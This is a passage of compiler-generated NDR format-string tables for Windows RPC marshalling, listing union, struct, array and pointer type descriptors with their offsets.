0x8,\t/* FC_UP [simple_pointer] */\n/* 2388 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2390 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 2392 */\tNdrFcShort( 0xff70 ),\t/* Offset= -144 (2248) */\n/* 2394 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2396 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 2398 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2400 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (2400) */\n/* 2402 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 2404 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 2406 */\tNdrFcShort( 0xfdc2 ),\t/* Offset= -574 (1832) */\n/* 2408 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2410 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 2412 */\tNdrFcShort( 0x94 ),\t/* Offset= 148 (2560) */\n/* 2414 */\t\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2416 */\t0x0,\t\t/* Corr desc:  field,  */\n\t\t\t0x5d,\t\t/* FC_EXPR */\n/* 2418 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2420 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 2422 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 2424 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2428 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2432 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2434) */\n/* 2434 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2436 */\tNdrFcShort( 0x4 ),\t/* 4 */\n/* 2438 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 2442 */\tNdrFcShort( 0x16 ),\t/* Offset= 22 (2464) */\n/* 2444 */\tNdrFcLong( 0x2 ),\t/* 2 */\n/* 2448 */\tNdrFcShort( 0x22 ),\t/* Offset= 34 (2482) */\n/* 2450 */\tNdrFcLong( 0x3 ),\t/* 3 */\n/* 2454 */\tNdrFcShort( 0x3a ),\t/* Offset= 58 (2512) */\n/* 2456 */\tNdrFcLong( 0xffffff ),\t/* 16777215 */\n/* 2460 */\tNdrFcShort( 0x4a ),\t/* Offset= 74 (2534) */\n/* 2462 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (2461) */\n/* 2464 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 2466 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2468) */\n/* 2468 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2470 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2472 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2474 */\tNdrFcShort( 0x4 ),\t/* Offset= 4 (2478) */\n/* 2476 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2478 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2480 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2482 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 2484 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2486) */\n/* 2486 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2488 */\tNdrFcShort( 0x20 ),\t/* 32 */\n/* 2490 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2492 */\tNdrFcShort( 0x8 ),\t/* Offset= 8 (2500) */\n/* 2494 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 2496 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2498 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2500 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2502 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2504 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2506 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2508 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2510 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2512 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 2514 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2516) */\n/* 2516 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2518 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 2520 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2522 */\tNdrFcShort( 0x8 ),\t/* Offset= 8 (2530) */\n/* 2524 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 2526 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2528 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2530 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2532 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2534 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 2536 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2538) */\n/* 2538 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2540 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 2542 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2544 */\tNdrFcShort( 0x8 ),\t/* Offset= 8 (2552) */\n/* 2546 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2548 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 2550 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2552 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2554 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2556 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2558 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2560 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2562 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 2564 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2566 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (2566) */\n/* 2568 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 2570 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 2572 */\tNdrFcShort( 0xff62 ),\t/* Offset= -158 (2414) */\n/* 2574 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2576 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 2578 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2580) */\n/* 2580 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2582 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 2584 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2586 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (2592) */\n/* 2588 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 2590 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2592 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 2594 */\tNdrFcShort( 0xf5f0 ),\t/* Offset= -2576 (18) */\n/* 2596 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 2598 */\tNdrFcShort( 0x56 ),\t/* Offset= 86 (2684) */\n/* 2600 */\t\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 2602 */\t0x9,\t\t/* Corr desc: FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 2604 */\tNdrFcShort( 0xfff8 ),\t/* -8 */\n/* 2606 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 2608 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 2610 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2614 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2618 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2620) */\n/* 2620 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2622 */\tNdrFcShort( 0x2 ),\t/* 2 */\n/* 2624 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 2628 */\tNdrFcShort( 0xa ),\t/* Offset= 10 (2638) */\n/* 2630 */\tNdrFcLong( 0x2 ),\t/* 2 */\n/* 2634 */\tNdrFcShort( 0x16 ),\t/* Offset= 22 (2656) */\n/* 2636 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (2635) */\n/* 2638 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 2640 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2642) */\n/* 2642 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2644 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2646 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2648 */\tNdrFcShort( 0x4 ),\t/* Offset= 4 (2652) */\n/* 2650 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2652 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2654 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2656 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 2658 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2660) */\n/* 2660 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2662 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 2664 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2666 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (2672) */\n/* 2668 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 2670 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2672 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2674 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2676 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2678 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2680 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2682 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2684 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2686 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 2688 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2690 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (2690) */\n/* 2692 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 2694 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 2696 */\tNdrFcShort( 0xffa0 ),\t/* Offset= -96 (2600) */\n/* 2698 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2700 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 2702 */\tNdrFcShort( 0x1de ),\t/* Offset= 478 (3180) */\n/* 2704 */\t\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0xd,\t\t/* FC_ENUM16 */\n/* 2706 */\t0x6,\t\t/* Corr desc: FC_SHORT */\n\t\t\t0x0,\t\t/*  */\n/* 2708 */\tNdrFcShort( 0xfff8 ),\t/* -8 */\n/* 2710 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 2712 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 2714 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2718 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2722 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2724) */\n/* 2724 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 2726 */\tNdrFcShort( 0x9 ),\t/* 9 */\n/* 2728 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 2732 */\tNdrFcShort( 0xf556 ),\t/* Offset= -2730 (2) */\n/* 2734 */\tNdrFcLong( 0x2 ),\t/* 2 */\n/* 2738 */\tNdrFcShort( 0x8008 ),\t/* Simple arm type: FC_LONG */\n/* 2740 */\tNdrFcLong( 0x3 ),\t/* 3 */\n/* 2744 */\tNdrFcShort( 0x800b ),\t/* Simple arm type: FC_HYPER */\n/* 2746 */\tNdrFcLong( 0x4 ),\t/* 4 */\n/* 2750 */\tNdrFcShort( 0x8002 ),\t/* Simple arm type: FC_CHAR */\n/* 2752 */\tNdrFcLong( 0x5 ),\t/* 5 */\n/* 2756 */\tNdrFcShort( 0x1c ),\t/* Offset= 28 (2784) */\n/* 2758 */\tNdrFcLong( 0x6 ),\t/* 6 */\n/* 2762 */\tNdrFcShort( 0xf55e ),\t/* Offset= -2722 (40) */\n/* 2764 */\tNdrFcLong( 0x7 ),\t/* 7 */\n/* 2768 */\tNdrFcShort( 0xf83a ),\t/* Offset= -1990 (778) */\n/* 2770 */\tNdrFcLong( 0x8 ),\t/* 8 */\n/* 2774 */\tNdrFcShort( 0xc8 ),\t/* Offset= 200 (2974) */\n/* 2776 */\tNdrFcLong( 0x9 ),\t/* 9 */\n/* 2780 */\tNdrFcShort( 0x136 ),\t/* Offset= 310 (3090) */\n/* 2782 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (2781) */\n/* 2784 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2786 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 2788 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2790 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (2796) */\n/* 2792 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 2794 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2796 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 2798 */\tNdrFcShort( 0xf636 ),\t/* Offset= -2506 (292) */\n/* 2800 */\t\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 2802 */\t0x0,\t\t/* Corr desc:  field,  */\n\t\t\t0x5d,\t\t/* FC_EXPR */\n/* 2804 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2806 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 2808 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 2810 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2814 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2818 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2820) */\n/* 2820 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 2822 */\tNdrFcShort( 0x5 ),\t/* 5 */\n/* 2824 */\tNdrFcLong( 0x2 ),\t/* 2 */\n/* 2828 */\tNdrFcShort( 0x32 ),\t/* Offset= 50 (2878) */\n/* 2830 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 2834 */\tNdrFcShort( 0x3c ),\t/* Offset= 60 (2894) */\n/* 2836 */\tNdrFcLong( 0x4 ),\t/* 4 */\n/* 2840 */\tNdrFcShort( 0xffc8 ),\t/* Offset= -56 (2784) */\n/* 2842 */\tNdrFcLong( 0x3 ),\t/* 3 */\n/* 2846 */\tNdrFcShort( 0xf50a ),\t/* Offset= -2806 (40) */\n/* 2848 */\tNdrFcLong( 0x5 ),\t/* 5 */\n/* 2852 */\tNdrFcShort( 0xf7e6 ),\t/* Offset= -2074 (778) */\n/* 2854 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (2853) */\n/* 2856 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x1,\t\t/* 1 */\n/* 2858 */\tNdrFcShort( 0x2 ),\t/* 2 */\n/* 2860 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x55,\t\t/* FC_DIV_2 */\n/* 2862 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2864 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 2866 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 2868 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2872 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2876 */\t0x5,\t\t/* FC_WCHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2878 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2880 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 2882 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2884 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (2890) */\n/* 2886 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 2888 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2890 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 2892 */\tNdrFcShort( 0xffdc ),\t/* Offset= -36 (2856) */\n/* 2894 */\t\n\t\t\t0x1d,\t\t/* FC_SMFARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 2896 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2898 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2900 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2902 */\tNdrFcShort( 0x20 ),\t/* 32 */\n/* 2904 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2906 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (2906) */\n/* 2908 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x6,\t\t/* FC_SHORT */\n/* 2910 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2912 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 2914 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xff8d ),\t/* Offset= -115 (2800) */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2918 */\t\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 2920 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2922 */\t0x9,\t\t/* Corr desc: FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 2924 */\tNdrFcShort( 0xfff8 ),\t/* -8 */\n/* 2926 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 2928 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 2930 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2934 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2938 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 2942 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 2944 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 2946 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2950 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2954 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 2956 */\tNdrFcShort( 0xffc8 ),\t/* Offset= -56 (2900) */\n/* 2958 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2960 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2962 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 2964 */\tNdrFcShort( 0xffd2 ),\t/* Offset= -46 (2918) */\n/* 2966 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (2966) */\n/* 2968 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2970 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 2972 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2974 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2976 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2978 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2980 */\tNdrFcShort( 0x4 ),\t/* Offset= 4 (2984) */\n/* 2982 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2984 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 2986 */\tNdrFcShort( 0xffe6 ),\t/* Offset= -26 (2960) */\n/* 2988 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x1,\t\t/* 1 */\n/* 2990 */\tNdrFcShort( 0x2 ),\t/* 2 */\n/* 2992 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 2994 */\tNdrFcShort( 0xc ),\t/* 12 */\n/* 2996 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 2998 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 3000 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3004 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3008 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3010 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 3012 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 3014 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3016 */\tNdrFcShort( 0xa ),\t/* Offset= 10 (3026) */\n/* 3018 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x6,\t\t/* FC_SHORT */\n/* 3020 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 3022 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 3024 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3026 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 3028 */\tNdrFcShort( 0xffd8 ),\t/* Offset= -40 (2988) */\n/* 3030 */\t\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 3032 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3034 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 3036 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 3038 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 3040 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 3042 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3046 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3050 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 3054 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 3056 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 3058 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3062 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3066 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 3068 */\tNdrFcShort( 0xffc6 ),\t/* Offset= -58 (3010) */\n/* 3070 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3072 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 3074 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 3076 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3078 */\tNdrFcShort( 0x8 ),\t/* Offset= 8 (3086) */\n/* 3080 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 3082 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 3084 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3086 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 3088 */\tNdrFcShort( 0xffc6 ),\t/* Offset= -58 (3030) */\n/* 3090 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 3092 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 3094 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3096 */\tNdrFcShort( 0x4 ),\t/* Offset= 4 (3100) */\n/* 3098 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3100 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 3102 */\tNdrFcShort( 0xffe2 ),\t/* Offset= -30 (3072) */\n/* 3104 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x7,\t\t/* 7 */\n/* 3106 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 3108 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3110 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (3110) */\n/* 3112 */\t0xd,\t\t/* FC_ENUM16 */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 3114 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 3116 */\tNdrFcShort( 0xfe64 ),\t/* Offset= -412 (2704) */\n/* 3118 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3120 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x7,\t\t/* 7 */\n/* 3122 */\tNdrFcShort( 0x20 ),\t/* 32 */\n/* 3124 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3126 */\tNdrFcShort( 0x8 ),\t/* Offset= 8 (3134) */\n/* 3128 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 3130 */\t0x0,\t\t/* 0 